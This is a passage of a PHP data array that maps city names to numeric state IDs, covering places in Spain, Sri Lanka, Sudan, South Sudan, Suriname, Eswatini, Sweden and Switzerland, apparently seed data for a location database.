'sagunt'],\n ['state_id' => '3315', 'name' => 'sedavi'],\n ['state_id' => '3315', 'name' => 'silla'],\n ['state_id' => '3315', 'name' => 'sueca'],\n ['state_id' => '3315', 'name' => 'tavernes blanques'],\n ['state_id' => '3315', 'name' => 'tavernes de la valldigna'],\n ['state_id' => '3315', 'name' => 'torrent'],\n ['state_id' => '3315', 'name' => 'utiel'],\n ['state_id' => '3315', 'name' => 'valencia'],\n ['state_id' => '3315', 'name' => 'xativa'],\n ['state_id' => '3315', 'name' => 'xirivella'],\n ['state_id' => '3316', 'name' => 'laguna de duero'],\n ['state_id' => '3316', 'name' => 'medina del campo'],\n ['state_id' => '3316', 'name' => 'tordesillas'],\n ['state_id' => '3316', 'name' => 'valladolid'],\n ['state_id' => '3317', 'name' => 'abadiano'],\n ['state_id' => '3317', 'name' => 'abanto zierbena'],\n ['state_id' => '3317', 'name' => 'amorebieta'],\n ['state_id' => '3317', 'name' => 'arrigorriaga'],\n ['state_id' => '3317', 'name' => 'barakaldo'],\n ['state_id' => '3317', 'name' => 'basauri'],\n ['state_id' => '3317', 'name' => 'bermeo'],\n ['state_id' => '3317', 'name' => 'berriz'],\n ['state_id' => '3317', 'name' => 'bilbao'],\n ['state_id' => '3317', 'name' => 'durango'],\n ['state_id' => '3317', 'name' => 'erandio'],\n ['state_id' => '3317', 'name' => 'ermua'],\n ['state_id' => '3317', 'name' => 'etxano'],\n ['state_id' => '3317', 'name' => 'galdakao'],\n ['state_id' => '3317', 'name' => 'gernika-lumo'],\n ['state_id' => '3317', 'name' => 'getxo'],\n ['state_id' => '3317', 'name' => 'igorre'],\n ['state_id' => '3317', 'name' => 'leioa'],\n ['state_id' => '3317', 'name' => 'mungia'],\n ['state_id' => '3317', 'name' => 'ondarroa'],\n ['state_id' => '3317', 'name' => 'ortuella'],\n ['state_id' => '3317', 'name' => 'portugalete'],\n ['state_id' => '3317', 'name' => 'santurtzi'],\n ['state_id' => '3317', 'name' => 'sestao'],\n ['state_id' => '3317', 'name' => 'sopelana'],\n ['state_id' => '3317', 'name' => 'trapagaran'],\n ['state_id' => '3317', 'name' => 'zamudio'],\n ['state_id' => '3318', 'name' => 'benavente'],\n ['state_id' => '3318', 'name' => 'toro'],\n ['state_id' => '3318', 'name' => 'zamora'],\n ['state_id' => '3319', 'name' => 'calatayud'],\n ['state_id' => '3319', 'name' => 'ejea de los caballeros'],\n ['state_id' => '3319', 'name' => 'tarazona'],\n ['state_id' => '3319', 'name' => 'utebo'],\n ['state_id' => '3319', 'name' => 'zaragoza'],\n ['state_id' => '3320', 'name' => 'amparai'],\n ['state_id' => '3320', 'name' => 'galmune'],\n ['state_id' => '3321', 'name' => 'anuradhapuraya'],\n ['state_id' => '3322', 'name' => 'badulla'],\n ['state_id' => '3322', 'name' => 'bandarawela'],\n ['state_id' => '3322', 'name' => 'haputale'],\n ['state_id' => '3323', 'name' => 'boralesgamuwa'],\n ['state_id' => '3324', 'name' => 'battaramulla'],\n ['state_id' => '3324', 'name' => 'colombo'],\n ['state_id' => '3324', 'name' => 'dehiwala-mount lavinia'],\n ['state_id' => '3324', 'name' => 'homagama'],\n ['state_id' => '3324', 'name' => 'jayawardanapura'],\n ['state_id' => '3324', 'name' => 'kolonnawa'],\n ['state_id' => '3324', 'name' => 'kotikawatta'],\n ['state_id' => '3324', 'name' => 'maharagama'],\n ['state_id' => '3324', 'name' => 'moratuwa'],\n ['state_id' => '3324', 'name' => 'mulleriyawa'],\n ['state_id' => '3324', 'name' => 'ratmalana'],\n ['state_id' => '3324', 'name' => 'seethawakapura'],\n ['state_id' => '3324', 'name' => 'sri jayawardanapura'],\n ['state_id' => '3325', 'name' => 'ambalamgoda'],\n ['state_id' => '3325', 'name' => 'galla'],\n ['state_id' => '3326', 'name' => 'daluguma'],\n ['state_id' => '3326', 'name' => 'gampaha'],\n ['state_id' => '3326', 'name' => 'hendala'],\n ['state_id' => '3326', 'name' => 'jaela'],\n ['state_id' => '3326', 'name' => 'kandana'],\n ['state_id' => '3326', 'name' => 'katunayaka'],\n ['state_id' => '3326', 'name' => 'kelaniya'],\n ['state_id' => '3326', 'name' => 'migamuwa'],\n ['state_id' => '3326', 'name' => 'minuwangoda'],\n ['state_id' => '3326', 'name' => 'peliyagoda'],\n ['state_id' => '3326', 'name' => 'ragama'],\n ['state_id' => '3326', 'name' => 'wattala'],\n ['state_id' => '3326', 'name' => 'welesara'],\n ['state_id' => '3327', 'name' => 'hambantota'],\n ['state_id' => '3327', 'name' => 'tanggalla'],\n ['state_id' => '3328', 'name' => 'beruwala'],\n ['state_id' => '3328', 'name' => 'horana'],\n ['state_id' => '3328', 'name' => 'kalutara'],\n ['state_id' => '3328', 'name' => 'keselwatta'],\n ['state_id' => '3328', 'name' => 'panadraya'],\n ['state_id' => '3329', 'name' => 'kegalla'],\n ['state_id' => '3330', 'name' => 'kilinochchi'],\n ['state_id' => '3331', 'name' => 'kuliyapitiya'],\n ['state_id' => '3331', 'name' => 'kurunegala'],\n ['state_id' => '3331', 'name' => 'polgahawela'],\n ['state_id' => '3332', 'name' => 'eravur'],\n ['state_id' => '3332', 'name' => 'katankudi'],\n ['state_id' => '3332', 'name' => 'madakalpuwa'],\n ['state_id' => '3334', 'name' => 'malwana'],\n ['state_id' => '3335', 'name' => 'mannarama'],\n ['state_id' => '3336', 'name' => 'dambulla'],\n ['state_id' => '3336', 'name' => 'matale'],\n ['state_id' => '3336', 'name' => 'sigiriya'],\n ['state_id' => '3337', 'name' => 'matara'],\n ['state_id' => '3337', 'name' => 'weligama'],\n ['state_id' => '3338', 'name' => 'monaragala'],\n ['state_id' => '3338', 'name' => 'wattegama'],\n ['state_id' => '3339', 'name' => 'mullaitivu'],\n ['state_id' => '3343', 'name' => 'polonnaruwa'],\n ['state_id' => '3344', 'name' => 'halawata'],\n ['state_id' => '3344', 'name' => 'puttalama'],\n ['state_id' => '3345', 'name' => 'balangoda'],\n ['state_id' => '3345', 'name' => 'ratnapuraya'],\n ['state_id' => '3347', 'name' => 'tirikunamalaya'],\n ['state_id' => '3348', 'name' => 'querceta'],\n ['state_id' => '3349', 'name' => 'vavuniyawa'],\n ['state_id' => '3351', 'name' => 'chavakachcheri'],\n ['state_id' => '3351', 'name' => 'peduru tuduwa'],\n ['state_id' => '3351', 'name' => 'valvedditturai'],\n ['state_id' => '3351', 'name' => 'yapanaya'],\n ['state_id' => '3352', 'name' => 'mahara'],\n ['state_id' => '3353', 'name' => 'kodok'],\n ['state_id' => '3353', 'name' => 'malakal'],\n ['state_id' => '3353', 'name' => 'nasir'],\n ['state_id' => '3353', 'name' => 'ar-rank'],\n ['state_id' => '3354', 'name' => 'juba'],\n ['state_id' => '3354', 'name' => 'yei'],\n ['state_id' => '3359', 'name' => 'maridi'],\n ['state_id' => '3359', 'name' => 'nzara'],\n ['state_id' => '3359', 'name' => 'tambura'],\n ['state_id' => '3359', 'name' => 'yambio'],\n ['state_id' => '3362', 'name' => 'bur'],\n ['state_id' => '3363', 'name' => 'aruma'],\n ['state_id' => '3363', 'name' => 'halfa al-jadidah'],\n ['state_id' => '3363', 'name' => 'kassala'],\n ['state_id' => '3363', 'name' => 'khashm-al-qirbah'],\n ['state_id' => '3363', 'name' => 'wagar'],\n ['state_id' => '3363', 'name' => 'al-masnah'],\n ['state_id' => '3364', 'name' => '\\'atbarah'],\n ['state_id' => '3364', 'name' => 'barbar'],\n ['state_id' => '3364', 'name' => 'kabushiyah'],\n ['state_id' => '3364', 'name' => 'shandi'],\n ['state_id' => '3364', 'name' => 'ad-damir'],\n ['state_id' => '3364', 'name' => 'al-bawga'],\n ['state_id' => '3364', 'name' => 'al-matammah'],\n ['state_id' => '3368', 'name' => 'kapoeta'],\n ['state_id' => '3368', 'name' => 'torit'],\n ['state_id' => '3369', 'name' => 'abu hijar'],\n ['state_id' => '3369', 'name' => 'galgani'],\n ['state_id' => '3369', 'name' => 'hajj \\'abdallah'],\n ['state_id' => '3369', 'name' => 'karkawj'],\n ['state_id' => '3369', 'name' => 'mayurnu'],\n ['state_id' => '3369', 'name' => 'sinjah'],\n ['state_id' => '3369', 'name' => 'sinnar'],\n ['state_id' => '3369', 'name' => 'sinnar-at-tagatu'],\n ['state_id' => '3369', 'name' => 'umm shawkah'],\n ['state_id' => '3369', 'name' => 'ad-dindar'],\n ['state_id' => '3369', 'name' => 'as-suki'],\n ['state_id' => '3370', 'name' => 'mashra ar-raqq'],\n ['state_id' => '3370', 'name' => 'tonj'],\n ['state_id' => '3370', 'name' => 'warab'],\n ['state_id' => '3372', 'name' => 'bur sudan'],\n ['state_id' => '3372', 'name' => 'gabait'],\n ['state_id' => '3372', 'name' => 'sawakin'],\n ['state_id' => '3372', 'name' => 'sinkat'],\n ['state_id' => '3372', 'name' => 'tawkar'],\n ['state_id' => '3373', 'name' => 'rumbik'],\n ['state_id' => '3373', 'name' => 'yirol'],\n ['state_id' => '3374', 'name' => 'abu \\'usar'],\n ['state_id' => '3374', 'name' => 'arba\\'atun wa \\'ishrun-al-qurash'],\n ['state_id' => '3374', 'name' => 'maharaybah'],\n ['state_id' => '3374', 'name' => 'miallayab'],\n ['state_id' => '3374', 'name' => 'rufa\\'a'],\n ['state_id' => '3374', 'name' => 'sharafat'],\n ['state_id' => '3374', 'name' => 'tabat'],\n ['state_id' => '3374', 'name' => 'tambul'],\n ['state_id' => '3374', 'name' => 'wad madani'],\n ['state_id' => '3374', 'name' => 'wad rawah'],\n ['state_id' => '3374', 'name' => 'al-hawsh'],\n ['state_id' => '3374', 'name' => 'al-hilaliyah'],\n ['state_id' => '3374', 'name' => 'al-huda'],\n ['state_id' => '3374', 'name' => 'al-husayhisah'],\n ['state_id' => '3374', 'name' => 'al-kamilin'],\n ['state_id' => '3374', 'name' => 'al-karaymat'],\n ['state_id' => '3374', 'name' => 'al-manaqil'],\n ['state_id' => '3374', 'name' => 'al-mu\\'sadiyah'],\n ['state_id' => '3374', 'name' => 'al-musallamiyah'],\n ['state_id' => '3375', 'name' => 'umm dawm'],\n ['state_id' => '3375', 'name' => 'umm durman'],\n ['state_id' => '3375', 'name' => 'al-khartum'],\n ['state_id' => '3375', 'name' => 'al-khartum bahri'],\n ['state_id' => '3376', 'name' => 'doka'],\n ['state_id' => '3376', 'name' => 'qala\\'-an-nahl'],\n ['state_id' => '3376', 'name' => 'shuwak'],\n ['state_id' => '3376', 'name' => 'al-faw'],\n ['state_id' => '3376', 'name' => 'al-hawatah'],\n ['state_id' => '3376', 'name' => 'al-qadarif'],\n ['state_id' => '3377', 'name' => 'bentiu'],\n ['state_id' => '3377', 'name' => 'ler'],\n ['state_id' => '3378', 'name' => 'asalaya'],\n ['state_id' => '3378', 'name' => 'bufi'],\n ['state_id' => '3378', 'name' => 'gulli'],\n ['state_id' => '3378', 'name' => 'kinanah'],\n ['state_id' => '3378', 'name' => 'kusti'],\n ['state_id' => '3378', 'name' => 'marabba'],\n ['state_id' => '3378', 'name' => 'rabak'],\n ['state_id' => '3378', 'name' => 'shabashah'],\n ['state_id' => '3378', 'name' => 'tandalti'],\n ['state_id' => '3378', 'name' => 'umm jarr'],\n ['state_id' => '3378', 'name' => 'wad-az-zaki'],\n ['state_id' => '3378', 'name' => 'ad-duwaym'],\n ['state_id' => '3378', 'name' => 'al-jazirah'],\n ['state_id' => '3378', 'name' => 'al-kawah'],\n ['state_id' => '3378', 'name' => 'al-qutaynah'],\n ['state_id' => '3379', 'name' => 'ad-damazin'],\n ['state_id' => '3379', 'name' => 'al-kurumuk'],\n ['state_id' => '3379', 'name' => 'al-quwaysi'],\n ['state_id' => '3379', 'name' => 'ar-rusayris'],\n ['state_id' => '3380', 'name' => 'argu'],\n ['state_id' => '3380', 'name' => 'dalqu'],\n ['state_id' => '3380', 'name' => 'dunqulah'],\n ['state_id' => '3380', 'name' => 'kanisah'],\n ['state_id' => '3380', 'name' => 'karmah-an-nuzul'],\n ['state_id' => '3380', 'name' => 'kuraymah'],\n ['state_id' => '3380', 'name' => 'kurti'],\n ['state_id' => '3380', 'name' => 'marawi'],\n ['state_id' => '3380', 'name' => 'tangasi-ar-ru\\'ays'],\n ['state_id' => '3380', 'name' => 'wadi halfa'],\n ['state_id' => '3380', 'name' => 'ad-dabbah'],\n ['state_id' => '3381', 'name' => 'brokopondo'],\n ['state_id' => '3381', 'name' => 'brownsweg'],\n ['state_id' => '3382', 'name' => 'marienburg'],\n ['state_id' => '3382', 'name' => 'meerzorg'],\n ['state_id' => '3382', 'name' => 'nieuw amsterdam'],\n ['state_id' => '3383', 'name' => 'totness'],\n ['state_id' => '3384', 'name' => 'albina'],\n ['state_id' => '3384', 'name' => 'moengo'],\n ['state_id' => '3385', 'name' => 'nieuw nickerie'],\n ['state_id' => '3385', 'name' => 'wageningen'],\n ['state_id' => '3386', 'name' => 'onverwacht'],\n ['state_id' => '3387', 'name' => 'paramaribo'],\n ['state_id' => '3388', 'name' => 'groningen'],\n ['state_id' => '3389', 'name' => 'lelydorp'],\n ['state_id' => '3390', 'name' => 'barentsburg'],\n ['state_id' => '3390', 'name' => 'hornsund'],\n ['state_id' => '3390', 'name' => 'isfjord radio'],\n ['state_id' => '3390', 'name' => 'longyearbyen'],\n ['state_id' => '3390', 'name' => 'ny-alesund'],\n ['state_id' => '3391', 'name' => 'bulembu'],\n ['state_id' => '3391', 'name' => 'ezulwini'],\n ['state_id' => '3391', 'name' => 'mbabane'],\n ['state_id' => '3391', 'name' => 'ngwenya'],\n ['state_id' => '3391', 'name' => 'pigg\\'s peak'],\n ['state_id' => '3392', 'name' => 'big bend'],\n ['state_id' => '3392', 'name' => 'mhlume'],\n ['state_id' => '3392', 'name' => 'mpaka'],\n ['state_id' => '3392', 'name' => 'nsoko'],\n ['state_id' => '3392', 'name' => 'simunye'],\n ['state_id' => '3392', 'name' => 'siteki'],\n ['state_id' => '3392', 'name' => 'tshaneni'],\n ['state_id' => '3393', 'name' => 'bhunya'],\n ['state_id' => '3393', 'name' => 'kwaluseni'],\n ['state_id' => '3393', 'name' => 'lobamba'],\n ['state_id' => '3393', 'name' => 'malkerns'],\n ['state_id' => '3393', 'name' => 'mankayane'],\n ['state_id' => '3393', 'name' => 'manzini'],\n ['state_id' => '3393', 'name' => 'matsapha'],\n ['state_id' => '3393', 'name' => 'mhlambanyatsi'],\n ['state_id' => '3393', 'name' => 'sidvokodvo'],\n ['state_id' => '3394', 'name' => 'hlatikulu'],\n ['state_id' => '3394', 'name' => 'hluti'],\n ['state_id' => '3394', 'name' => 'kubuta'],\n ['state_id' => '3394', 'name' => 'lavumisa'],\n ['state_id' => '3394', 'name' => 'nhlangano'],\n ['state_id' => '3397', 'name' => 'karlshamn'],\n ['state_id' => '3397', 'name' => 'karlskrona'],\n ['state_id' => '3397', 'name' => 'ronneby'],\n ['state_id' => '3398', 'name' => 'stenungsund'],\n ['state_id' => '3399', 'name' => 'avesta'],\n ['state_id' => '3399', 'name' => 'borlange'],\n ['state_id' => '3399', 'name' => 'falun'],\n ['state_id' => '3399', 'name' => 'hedemora'],\n ['state_id' => '3399', 'name' => 'ludvika'],\n ['state_id' => '3399', 'name' => 'malung'],\n ['state_id' => '3400', 'name' => 'bollnas'],\n ['state_id' => '3400', 'name' => 'bro'],\n ['state_id' => '3400', 'name' => 'gavle'],\n ['state_id' => '3400', 'name' => 'hudiksvall'],\n ['state_id' => '3400', 'name' => 'sandviken'],\n ['state_id' => '3400', 'name' => 'soderhamn'],\n ['state_id' => '3402', 'name' => 'skara'],\n ['state_id' => '3402', 'name' => 'visby'],\n ['state_id' => '3403', 'name' => 'anderstorp'],\n ['state_id' => '3403', 'name' => 'falkenberg'],\n ['state_id' => '3403', 'name' => 'halmstad'],\n ['state_id' => '3403', 'name' => 'ullared'],\n ['state_id' => '3403', 'name' => 'varberg'],\n ['state_id' => '3404', 'name' => 'farjestaden'],\n ['state_id' => '3404', 'name' => 'ostersund'],\n ['state_id' => '3405', 'name' => 'gislaved'],\n ['state_id' => '3405', 'name' => 'jonkoping'],\n ['state_id' => '3405', 'name' => 'nassjo'],\n ['state_id' => '3405', 'name' => 'tranas'],\n ['state_id' => '3405', 'name' => 'varnamo'],\n ['state_id' => '3405', 'name' => 'vetlanda'],\n ['state_id' => '3406', 'name' => 'blomstermala'],\n ['state_id' => '3406', 'name' => 'kalmar'],\n ['state_id' => '3406', 'name' => 'nybro'],\n ['state_id' => '3406', 'name' => 'oskarshamn'],\n ['state_id' => '3406', 'name' => 'solna'],\n ['state_id' => '3406', 'name' => 'torsas'],\n ['state_id' => '3406', 'name' => 'vastervik'],\n ['state_id' => '3407', 'name' => 'habo'],\n ['state_id' => '3407', 'name' => 'limhamn'],\n ['state_id' => '3407', 'name' => 'segeltorp'],\n ['state_id' => '3407', 'name' => 'svedala'],\n ['state_id' => '3408', 'name' => 'ljungby'],\n ['state_id' => '3408', 'name' => 'vaxjo'],\n ['state_id' => '3409', 'name' => 'boden'],\n ['state_id' => '3409', 'name' => 'kiruna'],\n ['state_id' => '3409', 'name' => 'lulea'],\n ['state_id' => '3409', 'name' => 'pitea'],\n ['state_id' => '3410', 'name' => 'askersund'],\n ['state_id' => '3410', 'name' => 'karlskoga'],\n ['state_id' => '3410', 'name' => 'kumla'],\n ['state_id' => '3410', 'name' => 'orebro'],\n ['state_id' => '3411', 'name' => 'finspang'],\n ['state_id' => '3411', 'name' => 'follinge'],\n ['state_id' => '3411', 'name' => 'kisa'],\n ['state_id' => '3411', 'name' => 'linkoping'],\n ['state_id' => '3411', 'name' => 'mjolby'],\n ['state_id' => '3411', 'name' => 'motala'],\n ['state_id' => '3411', 'name' => 'norrkoping'],\n ['state_id' => '3411', 'name' => 'vadstena'],\n ['state_id' => '3412', 'name' => 'skarpovagen'],\n ['state_id' => '3413', 'name' => 'angelholm'],\n ['state_id' => '3413', 'name' => 'arlov'],\n ['state_id' => '3413', 'name' => 'bastad'],\n ['state_id' => '3413', 'name' => 'eslov'],\n ['state_id' => '3413', 'name' => 'hassleholm'],\n ['state_id' => '3413', 'name' => 'helsingborg'],\n ['state_id' => '3413', 'name' => 'hjarup'],\n ['state_id' => '3413', 'name' => 'hoganas'],\n ['state_id' => '3413', 'name' => 'horby'],\n ['state_id' => '3413', 'name' => 'jonstorp'],\n ['state_id' => '3413', 'name' => 'klagstorp'],\n ['state_id' => '3413', 'name' => 'kristianstad'],\n ['state_id' => '3413', 'name' => 'landskrona'],\n ['state_id' => '3413', 'name' => 'lund'],\n ['state_id' => '3413', 'name' => 'malmo'],\n ['state_id' => '3413', 'name' => 'skanor'],\n ['state_id' => '3413', 'name' => 'staffanstorp'],\n ['state_id' => '3413', 'name' => 'trelleborg'],\n ['state_id' => '3413', 'name' => 'ystad'],\n ['state_id' => '3414', 'name' => 'hillerstorp'],\n ['state_id' => '3414', 'name' => 'markaryd'],\n ['state_id' => '3414', 'name' => 'smalandsstenar'],\n ['state_id' => '3415', 'name' => 'eskilstuna'],\n ['state_id' => '3415', 'name' => 'gnesta'],\n ['state_id' => '3415', 'name' => 'katrineholm'],\n ['state_id' => '3415', 'name' => 'nacka strand'],\n ['state_id' => '3415', 'name' => 'nykoping'],\n ['state_id' => '3415', 'name' => 'strangnas'],\n ['state_id' => '3415', 'name' => 'vingaker'],\n ['state_id' => '3416', 'name' => 'akersberga'],\n ['state_id' => '3416', 'name' => 'boo'],\n ['state_id' => '3416', 'name' => 'bromma'],\n ['state_id' => '3416', 'name' => 'djursholm'],\n ['state_id' => '3416', 'name' => 'hallstavik'],\n ['state_id' => '3416', 'name' => 'jarfalla'],\n ['state_id' => '3416', 'name' => 'johannesfred'],\n ['state_id' => '3416', 'name' => 'lidingo'],\n ['state_id' => '3416', 'name' => 'marsta'],\n ['state_id' => '3416', 'name' => 'norrtalje'],\n ['state_id' => '3416', 'name' => 'norsborg'],\n ['state_id' => '3416', 'name' => 'nynashamn'],\n ['state_id' => '3416', 'name' => 'rosersberg'],\n ['state_id' => '3416', 'name' => 'sodertalje'],\n ['state_id' => '3416', 'name' => 'sollentuna'],\n ['state_id' => '3416', 'name' => 'stockholm'],\n ['state_id' => '3416', 'name' => 'sundbyberg'],\n ['state_id' => '3416', 'name' => 'taby'],\n ['state_id' => '3416', 'name' => 'tumba'],\n ['state_id' => '3416', 'name' => 'upplands-vasby'],\n ['state_id' => '3416', 'name' => 'vallentuna'],\n ['state_id' => '3416', 'name' => 'vasterhaninge'],\n ['state_id' => '3417', 'name' => 'balsta'],\n ['state_id' => '3417', 'name' => 'enkoping'],\n ['state_id' => '3417', 'name' => 'knivsta'],\n ['state_id' => '3417', 'name' => 'skyttorp'],\n ['state_id' => '3417', 'name' => 'storvreta'],\n ['state_id' => '3417', 'name' => 'uppsala'],\n ['state_id' => '3418', 'name' => 'arvika'],\n ['state_id' => '3418', 'name' => 'hammaro'],\n ['state_id' => '3418', 'name' => 'karlstad'],\n ['state_id' => '3418', 'name' => 'kristinehamn'],\n ['state_id' => '3418', 'name' => 'skoghall'],\n ['state_id' => '3419', 'name' => 'guglingen'],\n ['state_id' => '3419', 'name' => 'robertsfors'],\n ['state_id' => '3419', 'name' => 'skelleftea'],\n ['state_id' => '3419', 'name' => 'umea'],\n ['state_id' => '3420', 'name' => 'gothenburg'],\n ['state_id' => '3420', 'name' => 'kallered'],\n ['state_id' => '3420', 'name' => 'kvanum'],\n ['state_id' => '3420', 'name' => 'timmersdala'],\n ['state_id' => '3421', 'name' => 'harnosand'],\n ['state_id' => '3421', 'name' => 'ornskoldsvik'],\n ['state_id' => '3421', 'name' => 'sundsvall'],\n ['state_id' => '3422', 'name' => 'arboga'],\n ['state_id' => '3422', 'name' => 'fagersta'],\n ['state_id' => '3422', 'name' => 'hallstahammar'],\n ['state_id' => '3422', 'name' => 'koping'],\n ['state_id' => '3422', 'name' => 'sala'],\n ['state_id' => '3422', 'name' => 'vasteras'],\n ['state_id' => '3424', 'name' => 'aarau'],\n ['state_id' => '3424', 'name' => 'aarburg'],\n ['state_id' => '3424', 'name' => 'baden'],\n ['state_id' => '3424', 'name' => 'bevilard'],\n ['state_id' => '3424', 'name' => 'bremgarten'],\n ['state_id' => '3424', 'name' => 'brugg'],\n ['state_id' => '3424', 'name' => 'buchs'],\n ['state_id' => '3424', 'name' => 'chevenez'],\n ['state_id' => '3424', 'name' => 'fislisbach'],\n ['state_id' => '3424', 'name' => 'granichen'],\n ['state_id' => '3424', 'name' => 'hagglingen'],\n ['state_id' => '3424', 'name' => 'kaiseraugst'],\n ['state_id' => '3424', 'name' => 'kleindoettingen'],\n ['state_id' => '3424', 'name' => 'klingnau'],\n ['state_id' => '3424', 'name' => 'kuttigen'],\n ['state_id' => '3424', 'name' => 'lenzburg'],\n ['state_id' => '3424', 'name' => 'menziken'],\n ['state_id' => '3424', 'name' => 'mohlin'],\n ['state_id' => '3424', 'name' => 'mumpf'],\n ['state_id' => '3424', 'name' => 'muri'],\n ['state_id' => '3424', 'name' => 'neuenhof'],\n ['state_id' => '3424', 'name' => 'niederlenz'],\n ['state_id' => '3424', 'name' => 'niederwangen'],\n ['state_id' => '3424', 'name' => 'niederwil'],\n ['state_id' => '3424', 'name' => 'oberentfelden'],\n ['state_id' => '3424', 'name' => 'obersiggenthal'],\n ['state_id' => '3424', 'name' => 'oftringen'],\n ['state_id' => '3424', 'name' => 'reinach'],\n ['state_id' => '3424', 'name' => 'rheinfelden'],\n ['state_id' => '3424', 'name' => 'rosshausern'],\n ['state_id' => '3424', 'name' => 'rothrist'],\n ['state_id' => '3424', 'name' => 'rupperswil'],\n ['state_id' => '3424', 'name' => 'schmitten'],\n ['state_id' => '3424', 'name' => 'seon'],\n ['state_id' => '3424', 'name' => 'spreitenbach'],\n ['state_id' => '3424', 'name' => 'stein'],\n ['state_id' => '3424', 'name' => 'suhr'],\n ['state_id' => '3424', 'name' => 'trogen'],\n ['state_id' => '3424', 'name' => 'untersiggenthal'],\n ['state_id' => '3424', 'name' => 'villmergen'],\n ['state_id' => '3424', 'name' => 'wettingen'],\n ['state_id' => '3424', 'name' => 'windisch'],\n ['state_id' => '3424', 'name' => 'wohlen'],\n ['state_id' => '3424', 'name' => 'wurenlos'],\n ['state_id' => '3424', 'name' => 'zofingen'],\n ['state_id' => '3427', 'name' => 'aesch'],\n ['state_id' => '3427', 'name' => 'allschwil'],\n ['state_id' => '3427', 'name' => 'arlesheim'],\n ['state_id' => '3427', 'name' => 'binningen'],\n ['state_id' => '3427', 'name' => 'birsfelden'],\n ['state_id' => '3427', 'name' => 'bottmingen'],\n ['state_id' => '3427', 'name' => 'ettingen'],\n ['state_id' => '3427', 'name' => 'frenkendorf'],\n ['state_id' => '3427', 'name' => 'gelterkinden'],\n ['state_id' => '3427', 'name' => 'laufen'],\n ['state_id' => '3427', 'name' => 'lausen'],\n ['state_id' => '3427', 'name' => 'liestal'],\n ['state_id' => '3427', 'name' => 'munchenstein'],\n ['state_id' => '3427', 'name' => 'muttenz'],\n ['state_id' => '3427', 'name' => 'oberwil'],\n ['state_id' => '3427', 'name' => 'pratteln'],\n ['state_id' => '3427', 'name' => 'reinach'],\n ['state_id' => '3427', 'name' => 'sissach'],\n ['state_id' => '3427', 'name' => 'therwil'],\n ['state_id' => '3428', 'name' => 'basel'],\n ['state_id' => '3428', 'name' => 'riehen'],\n ['state_id' => '3429', 'name' => 'belp'],\n ['state_id' => '3429', 'name' => 'bern'],\n ['state_id' => '3429', 'name' => 'berne'],\n ['state_id' => '3429', 'name' => 'biel'],\n ['state_id' => '3429', 'name' => 'biel-bienne'],\n ['state_id' => '3429', 'name' => 'bolligen'],\n ['state_id' => '3429', 'name' => 'burgdorf'],\n ['state_id' => '3429', 'name' => 'frutigen'],\n ['state_id' => '3429', 'name' => 'heimberg'],\n ['state_id' => '3429', 'name' => 'herzogenbuchsee'],\n ['state_id' => '3429', 'name' => 'huttwil'],\n ['state_id' => '3429', 'name' => 'interlaken'],\n ['state_id' => '3429', 'name' => 'ittigen'],\n ['state_id' => '3429', 'name' => 'kirchberg'],\n ['state_id' => '3429', 'name' => 'koniz'],\n ['state_id' => '3429', 'name' => 'konolfingen'],\n ['state_id' => '3429', 'name' => 'langenthal'],\n ['state_id' => '3429', 'name' => 'langnau'],\n ['state_id' => '3429', 'name' => 'lengnau'],\n ['state_id' => '3429', 'name' => 'lyss'],\n ['state_id' => '3429', 'name' => 'meiringen'],\n ['state_id' => '3429', 'name' => 'moutier'],\n ['state_id' => '3429', 'name' => 'munchenbuchsee'],\n ['state_id' => '3429', 'name' => 'munsingen'],\n ['state_id' => '3429', 'name' => 'muri'],\n ['state_id' => '3429', 'name' => 'nidau'],\n ['state_id' => '3429', 'name' => 'orpund'],\n ['state_id' => '3429', 'name' => 'ostermundingen'],\n ['state_id' => '3429', 'name' => 'pieterlen'],\n ['state_id' => '3429', 'name' => 'saanen'],\n ['state_id' => '3429', 'name' => 'saint-imier'],\n ['state_id' => '3429', 'name' => 'sonceboz'],\n ['state_id' => '3429', 'name' => 'spiez'],\n ['state_id' => '3429', 'name' => 'steffisburg'],\n ['state_id' => '3429', 'name' => 'sumiswald'],\n ['state_id' => '3429', 'name' => 'thun'],\n ['state_id' => '3429', 'name' => 'uetendorf'],\n ['state_id' => '3429', 'name' => 'unterseen'],\n ['state_id' => '3429', 'name' => 'urtenen'],\n ['state_id' => '3429', 'name' => 'vechingen'],\n ['state_id' => '3429', 'name' => 'wahlern'],\n ['state_id' => '3429', 'name' => 'wohlen'],\n ['state_id' => '3429', 'name' => 'worb'],\n ['state_id' => '3429', 'name' => 'zollikofen'],\n ['state_id' => '3431', 'name' => 'bulle'],\n ['state_id' => '3431', 'name' => 'dudingen'],\n ['state_id' => '3431', 'name' => 'fribourg'],\n ['state_id' => '3431', 'name' => 'granges-paccot'],\n ['state_id' => '3431', 'name' => 'marly'],\n ['state_id' => '3431', 'name' => 'muntelier'],\n ['state_id' => '3431', 'name' => 'murten'],\n ['state_id' => '3431', 'name' => 'remaufens'],\n ['state_id' => '3431', 'name' => 'villars-sur-glane'],\n ['state_id' => '3431', 'name' => 'villaz-saint-pierre'],\n ['state_id' => '3431', 'name' => 'wunnewil-flamatt'],\n ['state_id' => '3432', 'name' => 'bernex'],\n ['state_id' => '3432', 'name' => 'carouge'],\n ['state_id' => '3432', 'name' => 'chene-bougeries'],\n ['state_id' => '3432', 'name' => 'chene-bourg'],\n ['state_id' => '3432', 'name' => 'collonge-bellerive'],\n ['state_id' => '3432', 'name' => 'cologny'],\n ['state_id' => '3432', 'name' => 'geneva'],\n ['state_id' => '3432', 'name' => 'geneve'],\n ['state_id' => '3432', 'name' => 'lancy'],\n ['state_id' => '3432', 'name' => 'le grand-saconnex'],\n ['state_id' => '3432', 'name' => 'meyrin'],\n ['state_id' => '3432', 'name' => 'onex'],\n ['state_id' => '3432', 'name' => 'plan-les-ouates'],\n ['state_id' => '3432', 'name' => 'thonex'],\n ['state_id' => '3432', 'name' => 'vernier'],\n ['state_id' => '3432', 'name' => 'versoix'],\n ['state_id' => '3432', 'name' => 'veyrier'],\n ['state_id' => '3433', 'name' => 'glarus'],\n ['state_id' => '3433', 'name' => 'nafels'],\n ['state_id' => '3434', 'name' => 'arosa'],\n ['state_id' => '3434', 'name' => 'chur'],\n ['state_id' => '3434', 'name' => 'davos'],\n ['state_id' => '3434', 'name' => 'domat'],\n ['state_id' => '3434', 'name' => 'igis'],\n ['state_id' => '3434', 'name' => 'landquart'],\n ['state_id' => '3434', 'name' => 'maienfeld'],\n ['state_id' => '3434', 'name' => 'sankt moritz'],\n ['state_id' => '3435', 'name' => 'heerbrugg'],\n ['state_id' => '3436', 'name' => 'delemont'],\n ['state_id' => '3436', 'name' => 'glovelier'],\n ['state_id' => '3436', 'name' => 'le 